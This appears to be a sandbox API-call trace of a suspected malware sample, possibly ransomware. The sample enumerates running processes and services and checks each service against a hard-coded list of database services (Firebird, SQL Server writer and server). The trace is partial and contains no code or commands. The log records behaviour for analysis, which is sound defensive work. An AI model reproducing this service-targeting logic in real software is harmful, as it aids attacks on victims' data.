	[0088.430] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0088.431] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0088.431] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1194, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0088.431] lstrlenW (lpString="conhost.exe") returned 11
	[0088.431] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1208, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1178, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0088.432] lstrlenW (lpString="conhost.exe") returned 11
	[0088.432] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0088.433] lstrlenW (lpString="svchost.exe") returned 11
	[0088.433] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0088.434] lstrlenW (lpString="fvppjh.exe") returned 10
	[0088.434] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0088.434] lstrlenW (lpString="svchost.exe") returned 11
	[0088.434] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x13a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0088.435] lstrlenW (lpString="cmd.exe") returned 7
	[0088.435] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1158, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0088.435] lstrlenW (lpString="conhost.exe") returned 11
	[0088.436] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0088.436] lstrlenW (lpString="dllhost.exe") returned 11
	[0088.436] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1
	[0088.437] lstrlenW (lpString="TrustedInstaller.exe") returned 20
	[0088.437] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1158, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0088.437] lstrlenW (lpString="mode.com") returned 8
	[0088.437] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1
	[0088.699] lstrlenW (lpString="LogonUI.exe") returned 11
	[0088.699] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0
	[0088.700] CloseHandle (hObject=0x2fc) returned 1
	[0088.700] Sleep (dwMilliseconds=0x1f4) 
	[0089.672] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x75e908
	[0089.672] EnumServicesStatusExW (in: hSCManager=0x75e908, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0) returned 0
	[0089.684] GetLastError () returned 0xea
	[0089.684] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x1ddc) returned 0x32b4288
	[0089.684] EnumServicesStatusExW (in: hSCManager=0x75e908, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x32b4288, cbBufSize=0x1ddc, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x32b4288, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0) returned 1
	[0089.685] CloseServiceHandle (hSCObject=0x75e908) returned 1
	[0089.685] lstrlenW (lpString="Appinfo") returned 7
	[0089.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0089.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0089.685] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0089.685] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0089.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0089.685] lstrlenW (lpString="AppXSvc") returned 7
	[0089.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0089.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0089.685] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0089.686] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0089.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0089.686] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0089.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0089.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0089.699] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0089.699] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0089.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0089.699] lstrlenW (lpString="Audiosrv") returned 8
	[0089.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0089.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0089.699] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0089.699] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0089.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0089.699] lstrlenW (lpString="BFE") returned 3
	[0089.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0089.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0089.700] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0089.700] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0089.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0089.700] lstrlenW (lpString="BITS") returned 4
	[0089.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0089.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0089.700] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0089.700] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0089.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0089.700] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0089.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0089.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0089.700] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0089.700] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0089.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0089.700] lstrlenW (lpString="CDPSvc") returned 6
	[0089.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0089.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0089.700] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0089.700] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0089.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0089.700] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0089.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0089.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0089.700] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0089.700] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0089.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0089.700] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0089.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0089.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0089.700] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0089.700] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0089.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0089.701] lstrlenW (lpString="CryptSvc") returned 8
	[0089.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0089.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0089.701] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0089.701] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0089.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0089.701] lstrlenW (lpString="DcomLaunch") returned 10
	[0089.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0089.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0089.701] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0089.701] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0089.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0089.701] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0089.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0089.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0089.701] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0089.701] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0089.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0089.701] lstrlenW (lpString="Dhcp") returned 4
	[0089.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0089.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0089.701] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0089.701] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0089.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0089.701] lstrlenW (lpString="Dnscache") returned 8
	[0089.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0089.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0089.701] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0089.701] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0089.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0089.701] lstrlenW (lpString="DoSvc") returned 5
	[0089.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0089.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0089.702] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0089.702] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0089.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0089.702] lstrlenW (lpString="DPS") returned 3
	[0089.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0089.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0089.702] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0089.702] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0089.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0089.702] lstrlenW (lpString="DusmSvc") returned 7
	[0089.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0089.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0089.702] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0089.702] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0089.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0089.702] lstrlenW (lpString="EventLog") returned 8
	[0089.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0089.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0089.702] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0089.702] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0089.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0089.702] lstrlenW (lpString="EventSystem") returned 11
	[0089.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0089.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0089.702] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0089.702] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0089.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0089.702] lstrlenW (lpString="FontCache") returned 9
	[0089.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0089.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0089.702] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0089.702] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0089.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0089.702] lstrlenW (lpString="gpsvc") returned 5
	[0089.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0089.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0089.703] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0089.703] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0089.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0089.703] lstrlenW (lpString="iphlpsvc") returned 8
	[0089.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0089.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0089.703] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0089.703] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0089.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0089.703] lstrlenW (lpString="KeyIso") returned 6
	[0089.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0089.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0089.703] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0089.703] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0089.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0089.703] lstrlenW (lpString="LanmanServer") returned 12
	[0089.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0089.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0089.703] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0089.703] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0089.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0089.703] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0089.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0089.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0089.703] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0089.703] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0089.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0089.703] lstrlenW (lpString="lfsvc") returned 5
	[0089.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0089.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0089.703] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0089.703] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0089.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0089.704] lstrlenW (lpString="lmhosts") returned 7
	[0089.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0089.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0089.704] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0089.704] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0089.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0089.704] lstrlenW (lpString="LSM") returned 3
	[0089.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0089.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0089.704] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0089.704] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0089.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0089.704] lstrlenW (lpString="MapsBroker") returned 10
	[0089.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0089.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0089.704] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0089.704] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0089.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0089.704] lstrlenW (lpString="MpsSvc") returned 6
	[0089.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0089.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0089.704] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0089.704] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0089.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0089.704] lstrlenW (lpString="NcbService") returned 10
	[0089.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0089.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0089.704] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0089.704] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0089.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0089.704] lstrlenW (lpString="netprofm") returned 8
	[0089.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0089.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0089.705] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0089.705] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0089.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0089.705] lstrlenW (lpString="NlaSvc") returned 6
	[0089.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0089.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0089.705] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0089.705] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0089.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0089.705] lstrlenW (lpString="nsi") returned 3
	[0089.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0089.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0089.705] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0089.705] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0089.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0089.705] lstrlenW (lpString="PcaSvc") returned 6
	[0089.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0089.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0089.705] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0089.705] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0089.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0089.705] lstrlenW (lpString="PlugPlay") returned 8
	[0089.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0089.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0089.705] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0089.705] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0089.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0089.705] lstrlenW (lpString="Power") returned 5
	[0089.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0089.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0089.705] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0089.705] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0089.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0089.706] lstrlenW (lpString="ProfSvc") returned 7
	[0089.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0089.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0089.706] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0089.706] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0089.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0089.706] lstrlenW (lpString="RpcEptMapper") returned 12
	[0089.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0089.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0089.706] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0089.706] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0089.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0089.706] lstrlenW (lpString="RpcSs") returned 5
	[0089.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0089.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0089.706] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0089.706] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0089.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0089.706] lstrlenW (lpString="SamSs") returned 5
	[0089.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0089.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0089.706] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0089.706] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0089.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0089.706] lstrlenW (lpString="Schedule") returned 8
